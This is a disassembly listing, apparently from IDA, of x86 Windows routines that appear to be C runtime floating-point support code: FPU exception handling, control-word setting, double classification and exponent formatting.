		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C870
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C860
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C870
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C870
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C860
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C860
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB278, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB278, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C788

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C860
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C78C[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C888
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C888
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C894
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A059Eh
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C504, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C508
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C508
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8B0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB310, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB30C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C508
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB310, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB310, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB314
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB30C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
